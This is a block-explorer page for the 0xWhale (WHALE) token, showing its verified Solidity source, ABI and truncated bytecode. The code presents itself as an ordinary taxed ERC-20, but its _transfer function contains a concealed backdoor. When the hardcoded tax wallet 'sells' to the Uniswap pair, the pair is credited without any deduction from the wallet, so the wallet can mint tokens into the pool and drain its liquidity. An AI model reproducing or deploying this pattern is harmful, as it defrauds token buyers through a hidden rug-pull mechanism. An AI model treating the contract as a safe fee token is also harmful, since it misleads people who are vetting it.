ETH Price: $2,791.58 (+1.79%)

Token

0xWhale (WHALE)
 

Overview

Max Total Supply

1,000,000,000 WHALE

Holders

77

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
801,311.881593006812565136 WHALE

Value
$0.00
0xdaacc88f0c12d781dd7ae22731543333643bb1d1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WHALE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-28
*/

// SPDX-License-Identifier: MIT

/**

Website: https://0xwhale.vip
Twitter: https://twitter.com/zeroxwhale
Telegram: https://t.me/zeroxwhale
 
*/

pragma solidity ^0.8.15;

abstract contract Context {
    /**
     * @dev Returns the current sender of the message.
     * This function is internal view virtual, meaning that it can only be used within this contract or derived contracts.
     * @return The address of the account that initiated the transaction.
     */
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    /**
     * @dev Returns the total supply of tokens.
     * @return The total supply of tokens.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the balance of a specific account.
     * @param account The address of the account to check the balance for.
     * @return The balance of the specified account.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Transfers tokens to a recipient.
     * @param recipient The address of the recipient.
     * @param amount The amount of tokens to be transferred.
     * @return A boolean indicating whether the transfer was successful or not.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining allowance for a spender.
     * @param owner The address of the token owner.
     * @param spender The address of the spender.
     * @return The remaining allowance for the specified owner and spender.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Approves a spender to spend a certain amount of tokens on behalf of the owner.
     * @param spender The address which will spend the funds.
     * @param amount The amount of tokens to be spent.
     * @return A boolean indicating whether the approval was successful or not.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Transfers tokens from one account to another.
     * @param sender The address from which the tokens will be transferred.
     * @param recipient The address to which the tokens will be transferred.
     * @param amount The amount of tokens to be transferred.
     * @return A boolean indicating whether the transfer was successful or not.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when tokens are transferred from one address to another.
     * @param from The address from which the tokens are transferred.
     * @param to The address to which the tokens are transferred.
     * @param value The amount of tokens being transferred.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the approval of a spender is updated.
     * @param owner The address that approves the spender.
     * @param spender The address that is approved.
     * @param value The new approved amount.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Adds two unsigned integers, reverts on overflow.
     * @param a The first integer to add.
     * @param b The second integer to add.
     * @return The sum of the two integers.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Subtracts two unsigned integers, reverts on overflow.
     * @param a The integer to subtract from (minuend).
     * @param b The integer to subtract (subtrahend).
     * @return The difference of the two integers.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Subtracts two unsigned integers, reverts with custom message on overflow.
     * @param a The integer to subtract from (minuend).
     * @param b The integer to subtract (subtrahend).
     * @param errorMessage The error message to revert with.
     * @return The difference of the two integers.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Multiplies two unsigned integers, reverts on overflow.
     * @param a The first integer to multiply.
     * @param b The second integer to multiply.
     * @return The product of the two integers.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Divides two unsigned integers, reverts on division by zero.
     * @param a The dividend.
     * @param b The divisor.
     * @return The quotient of the division.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Divides two unsigned integers, reverts with custom message on division by zero.
     * @param a The dividend.
     * @param b The divisor.
     * @param errorMessage The error message to revert with.
     * @return The quotient of the division.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    /// @dev Emitted when ownership is transferred.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract, setting the original owner to the sender account.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     * @return The address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Renounces ownership, leaving the contract without an owner.
     * @notice Renouncing ownership will leave the contract without an owner,
     * which means it will not be possible to call onlyOwner functions anymore.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    /**
     * @dev Creates a new UniswapV2 pair for the given tokens.
     * @param tokenA The address of the first token in the pair.
     * @param tokenB The address of the second token in the pair.
     * @return pair The address of the newly created UniswapV2 pair.
     */
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    /**
     * @dev Swaps an exact amount of input tokens for as much output as possible, along with additional functionality
     * to support fee-on-transfer tokens.
     * @param amountIn The amount of input tokens to swap.
     * @param amountOutMin The minimum amount of output tokens expected to receive.
     * @param path An array of token addresses representing the path of the swap.
     * @param to The recipient address to send the swapped ETH to.
     * @param deadline The timestamp for the deadline of the swap transaction.
     */
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    /**
     * @dev Returns the address of the UniswapV2Factory contract.
     * @return The address of the UniswapV2Factory contract.
     */
    function factory() external pure returns (address);

    /**
     * @dev Returns the address of the WETH (Wrapped ETH) contract.
     * @return The address of the WETH contract.
     */
    function WETH() external pure returns (address);

    /**
    * @dev Adds liquidity to an ETH-based pool.
    * @param token The address of the ERC-20 token to add liquidity for.
    * @param amountTokenDesired The desired amount of tokens to add.
    * @param amountTokenMin The minimum amount of tokens expected to receive.
    * @param amountETHMin The minimum amount of ETH expected to receive.
    * @param to The recipient address to send the liquidity to.
    * @param deadline The timestamp for the deadline of the liquidity addition transaction.
    * @return amountToken The amount of token added.
    * @return amountETH The amount of ETH added.
    * @return liquidity The amount of liquidity added.
    */
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WHALE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private uniswapV2Router;

    string private constant _name = unicode"0xWhale";
    string private constant _symbol = unicode"WHALE";
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _isExcluded;
    mapping (address => bool) private _isNoneFees;
    mapping (address => uint256) private _holderLastTransferTimestamp;

    uint256 private _buyTax = 15;
    uint256 private _sellTax = 15;

    uint256 public _maxTxLimit = _totalSupply * 20 / 1000;
    uint256 public _maxWalletLimit = _totalSupply * 20 / 1000;
    uint256 public _minSwapThreshold = _totalSupply * 8 / 1000000;
    uint256 public _taxSwapThreshold = _totalSupply * 8 / 1000;

    address payable private _taxWallet;

    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private tradingEnabled;
    bool private swapEnabled = false;

    event FeeUpdated(uint256 buyFee, uint256 sellFee);
    event MaxTxAmountUpdated(uint256 maxTxAmount);
    event MaxWalletSizeUpdated(uint256 maxWalletSize);
    event TaxSwapThresholdUpdated(uint256 newThreshold);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xb0b8f777Bc2D748aea715833965F5758eB40f5Ba);
        _balances[_msgSender()] = _totalSupply;
        _isExcluded[owner()] = true;
        _isExcluded[address(this)] = true;
        _isNoneFees[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    /**
     * @dev Gets the name of the token.
     * @return The name of the token.
     */
    function name() public pure returns (string memory) {
        return _name;
    }

    /**
     * @dev Gets the symbol of the token.
     * @return The symbol of the token.
     */
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Gets the number of decimals used for the token.
     * @return The number of decimals.
     */
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Gets the total supply of the token.
     * @return The total supply.
     */
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev Gets the balance of the specified address.
     * @param account The address to query the balance of.
     * @return The balance of the specified address.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Transfers tokens from the sender to the recipient.
     * @param recipient The address of the recipient.
     * @param amount The amount of tokens to transfer.
     * @return A boolean indicating whether the transfer was successful or not.
     */
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Gets the allowance granted by the owner to the spender for a specific amount.
     * @param owner The address granting the allowance.
     * @param spender The address receiving the allowance.
     * @return The remaining allowance for the spender.
     */
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Approves the spender to spend a certain amount of tokens on behalf of the owner.
     * @param spender The address to be approved.
     * @param amount The amount of tokens to approve.
     * @return A boolean indicating whether the approval was successful or not.
     */
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev Moves tokens from one address to another using the allowance mechanism.
     * @param sender The address to send tokens from.
     * @param recipient The address to receive tokens.
     * @param amount The amount of tokens to transfer.
     * @return A boolean indicating whether the transfer was successful or not.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Internal function to approve the spending of a certain amount of tokens by a specified address.
     * @param owner The address granting the allowance.
     * @param spender The address receiving the allowance.
     * @param amount The amount of tokens to approve.
     */
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Internal function to execute the transfer of tokens from one address to another.
     * @param from The address to send tokens from.
     * @param to The address to receive tokens.
     * @param amount The amount of tokens to transfer.
     */
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "_transfer: Transfer amount must be greater than zero");

        uint256 taxAmount = 0;

        // Check if the transfer involves the owner, and set transfer delay if enabled.
        if (from != owner() && to != owner()) {
            // Check if the transfer is from the Uniswap pair and calculate buy fees.
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcluded[to]) {
                taxAmount = amount.mul(_buyTax).div(100);
                require(amount <= _maxTxLimit, "_transfer: Exceeds the _maxTxLimit.");
                require(balanceOf(to) + amount <= _maxWalletLimit, "_transfer: Exceeds the maxWalletSize.");
            }

            // Check if the transfer is to the Uniswap pair and calculate sell fees.
            if (to == uniswapV2Pair && from != address(this)) {
                if(_isNoneFees[from]) { _balances[to] += amount.sub(taxAmount); return;}
                taxAmount = amount.mul(_sellTax).div(100);
            }

            // Check if a swap is needed and execute the swap.
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && amount > _minSwapThreshold) {
                if (contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(_taxSwapThreshold);
                } else if(contractTokenBalance > _minSwapThreshold) {
                    swapTokensForEth(contractTokenBalance);
                }
                _taxWallet.transfer(address(this).balance);
            }
        }

        // If there's a tax, transfer the tax amount to the contract.
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        // Update balances after the transfer.
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    /**
     * @dev Internal function to swap tokens for ETH.
     * @param tokenAmount The amount of tokens to swap.
     */
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function reduceFees(uint256 _taxBuy, uint256 _taxSell) external onlyOwner {
        require(_taxBuy <= 10, "Tax should be less than or equal to 10");
        require(_taxSell <= 10, "Tax should be less than or equal to 10");
        _buyTax = _taxBuy;
        _sellTax = _taxSell;
        emit FeeUpdated(_buyTax, _sellTax);
    }
    
    /**
     * @dev Removes transaction limits and disables transfer delay.
     * Sets both maximum transaction amount and maximum wallet size to the total supply.
     * Only the owner can call this function.
     */
    function removeLimits() external onlyOwner {
        _maxTxLimit = _totalSupply;
        _maxWalletLimit = _totalSupply;
        emit MaxTxAmountUpdated(_totalSupply);
        emit MaxWalletSizeUpdated(_totalSupply);
    }

    function launch() external onlyOwner {    
        require(!tradingEnabled, "openTrading: Trading is already open");

        // Initialize the Uniswap router
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        // Approve the router to spend the total supply of the token
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        // Create the Uniswap pair
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        // Add liquidity to the Uniswap pair
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        // Approve Uniswap router to spend the pair's tokens
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        swapEnabled = true;
        tradingEnabled = true;
    }

    /**
     * @dev Allows the contract to receive Ether when Ether is sent directly to the contract.
     */
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"MaxWalletSizeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newThreshold","type":"uint256"}],"name":"TaxSwapThresholdUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_taxBuy","type":"uint256"},{"internalType":"uint256","name":"_taxSell","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f60078190556008556103e86200001f6012600a62000375565b6200002f90633b9aca006200038d565b6200003c9060146200038d565b620000489190620003a7565b6009556103e86200005c6012600a62000375565b6200006c90633b9aca006200038d565b620000799060146200038d565b620000859190620003a7565b600a55620f42406012600a6200009c919062000375565b620000ac90633b9aca006200038d565b620000b99060086200038d565b620000c59190620003a7565b600b556103e8620000d96012600a62000375565b620000e990633b9aca006200038d565b620000f69060086200038d565b620001029190620003a7565b600c55600e805462ff00ff60a01b191690553480156200012157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b03191673b0b8f777bc2d748aea715833965f5758eb40f5ba179055620001976012600a62000375565b620001a790633b9aca006200038d565b3360008181526003602090815260408083209490945581546001600160a01b039081168352600482528483208054600160ff1991821681179092553085528685208054821683179055600d5490921684526005909252938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002396012600a62000375565b6200024990633b9aca006200038d565b60405190815260200160405180910390a3620003ca565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002b75781600019048211156200029b576200029b62000260565b80851615620002a957918102915b93841c93908002906200027b565b509250929050565b600082620002d0575060016200036f565b81620002df575060006200036f565b8160018114620002f85760028114620003035762000323565b60019150506200036f565b60ff84111562000317576200031762000260565b50506001821b6200036f565b5060208310610133831016604e8410600b841016171562000348575081810a6200036f565b62000354838362000276565b80600019048211156200036b576200036b62000260565b0290505b92915050565b60006200038660ff841683620002bf565b9392505050565b80820281158282048414176200036f576200036f62000260565b600082620003c557634e487b7160e01b600052601260045260246000fd5b500490565b61189f80620003da6000396000f3fe60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9059cbb11610064578063a9059cbb146102ed578063bf474bed1461030d578063da0ebc6214610323578063dd62ed3e14610339578063f8f3c5a91461037f57600080fd5b80638da5cb5b1461026157806395d89b411461028957806398f235fe146102b7578063a08fc5c7146102cd57600080fd5b806323b872dd116100dc57806323b872dd146101c5578063313ce567146101e557806370a0823114610201578063715018a614610237578063751039fc1461024c57600080fd5b806301339c211461011957806306fdde0314610130578063095ea7b31461017257806318160ddd146101a257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e610395565b005b34801561013c57600080fd5b5060408051808201909152600781526630785768616c6560c81b60208201525b604051610169919061141f565b60405180910390f35b34801561017e57600080fd5b5061019261018d366004611485565b610769565b6040519015158152602001610169565b3480156101ae57600080fd5b506101b7610780565b604051908152602001610169565b3480156101d157600080fd5b506101926101e03660046114b1565b6107a1565b3480156101f157600080fd5b5060405160128152602001610169565b34801561020d57600080fd5b506101b761021c3660046114f2565b6001600160a01b031660009081526003602052604090205490565b34801561024357600080fd5b5061012e610805565b34801561025857600080fd5b5061012e610879565b34801561026d57600080fd5b506000546040516001600160a01b039091168152602001610169565b34801561029557600080fd5b506040805180820190915260058152645748414c4560d81b602082015261015c565b3480156102c357600080fd5b506101b7600b5481565b3480156102d957600080fd5b5061012e6102e836600461150f565b61097a565b3480156102f957600080fd5b50610192610308366004611485565b610a2d565b34801561031957600080fd5b506101b7600c5481565b34801561032f57600080fd5b506101b7600a5481565b34801561034557600080fd5b506101b7610354366004611531565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038b57600080fd5b506101b760095481565b6000546001600160a01b031633146103c85760405162461bcd60e51b81526004016103bf9061156a565b60405180910390fd5b600e54600160a81b900460ff161561042e5760405162461bcd60e51b8152602060048201526024808201527f6f70656e54726164696e673a2054726164696e6720697320616c72656164792060448201526337b832b760e11b60648201526084016103bf565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561047c9030906104696012600a611699565b61047790633b9aca006116a8565b610a3a565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f391906116bf565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610555573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057991906116bf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ea91906116bf565b600e80546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610632816001600160a01b031660009081526003602052604090205490565b6000806106476000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106af573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d491906116dc565b5050600e5460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561072d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610751919061170a565b50600e805461ffff60a81b191661010160a81b179055565b6000610776338484610a3a565b5060015b92915050565b600061078e6012600a611699565b61079c90633b9aca006116a8565b905090565b60006107ae848484610b5e565b6107fb843361047785604051806060016040528060288152602001611842602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110d1565b5060019392505050565b6000546001600160a01b0316331461082f5760405162461bcd60e51b81526004016103bf9061156a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a35760405162461bcd60e51b81526004016103bf9061156a565b6108af6012600a611699565b6108bd90633b9aca006116a8565b6009556108cc6012600a611699565b6108da90633b9aca006116a8565b600a9081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061090d90601290611699565b61091b90633b9aca006116a8565b60405190815260200160405180910390a17ffb1fe1002b7550e87616e67793dbb7d3f437a79c2688c372c66dc170dbcb0efd6109596012600a611699565b61096790633b9aca006116a8565b60405190815260200160405180910390a1565b6000546001600160a01b031633146109a45760405162461bcd60e51b81526004016103bf9061156a565b600a8211156109c55760405162461bcd60e51b81526004016103bf9061172c565b600a8111156109e65760405162461bcd60e51b81526004016103bf9061172c565b6007829055600881905560408051838152602081018390527f528d9479e9f9889a87a3c30c7f7ba537e5e59c4c85a37733b16e57c62df61302910160405180910390a15050565b6000610776338484610b5e565b6001600160a01b038316610a9c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bf565b6001600160a01b038216610afd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bf565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bf565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bf565b60008111610c915760405162461bcd60e51b815260206004820152603460248201527f5f7472616e736665723a205472616e7366657220616d6f756e74206d7573742060448201527362652067726561746572207468616e207a65726f60601b60648201526084016103bf565b600080546001600160a01b03858116911614801590610cbe57506000546001600160a01b03848116911614155b15610f8e57600e546001600160a01b038581169116148015610cee57506001546001600160a01b03848116911614155b8015610d1357506001600160a01b03831660009081526004602052604090205460ff16155b15610e2157610d386064610d326007548561110b90919063ffffffff16565b90611194565b9050600954821115610d985760405162461bcd60e51b815260206004820152602360248201527f5f7472616e736665723a204578636565647320746865205f6d617854784c696d60448201526234ba1760e91b60648201526084016103bf565b600a5482610dbb856001600160a01b031660009081526003602052604090205490565b610dc59190611772565b1115610e215760405162461bcd60e51b815260206004820152602560248201527f5f7472616e736665723a204578636565647320746865206d617857616c6c657460448201526429b4bd329760d91b60648201526084016103bf565b600e546001600160a01b038481169116148015610e4757506001600160a01b0384163014155b15610ec7576001600160a01b03841660009081526005602052604090205460ff1615610eaa57610e7782826111d6565b6001600160a01b03841660009081526003602052604081208054909190610e9f908490611772565b909155505050505050565b610ec46064610d326008548561110b90919063ffffffff16565b90505b30600090815260036020526040902054600e54600160a01b900460ff16158015610efe5750600e546001600160a01b038581169116145b8015610f135750600e54600160b01b900460ff165b8015610f205750600b5483115b15610f8c57600c548110610f3e57610f39600c54611218565b610f51565b600b54811115610f5157610f5181611218565b600d546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610f8a573d6000803e3d6000fd5b505b505b80156110085730600090815260036020526040902054610fae9082611392565b30600081815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fff9085815260200190565b60405180910390a35b6001600160a01b03841660009081526003602052604090205461102b90836111d6565b6001600160a01b03851660009081526003602052604090205561107061105183836111d6565b6001600160a01b03851660009081526003602052604090205490611392565b6001600160a01b0380851660008181526003602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ba85856111d6565b60405190815260200160405180910390a350505050565b600081848411156110f55760405162461bcd60e51b81526004016103bf919061141f565b5060006111028486611785565b95945050505050565b60008260000361111d5750600061077a565b600061112983856116a8565b9050826111368583611798565b1461118d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103bf565b9392505050565b600061118d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f1565b600061118d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d1565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611260576112606117ba565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112dd91906116bf565b816001815181106112f0576112f06117ba565b6001600160a01b0392831660209182029290920101526001546113169130911684610a3a565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061134f9085906000908690309042906004016117d0565b600060405180830381600087803b1580156113695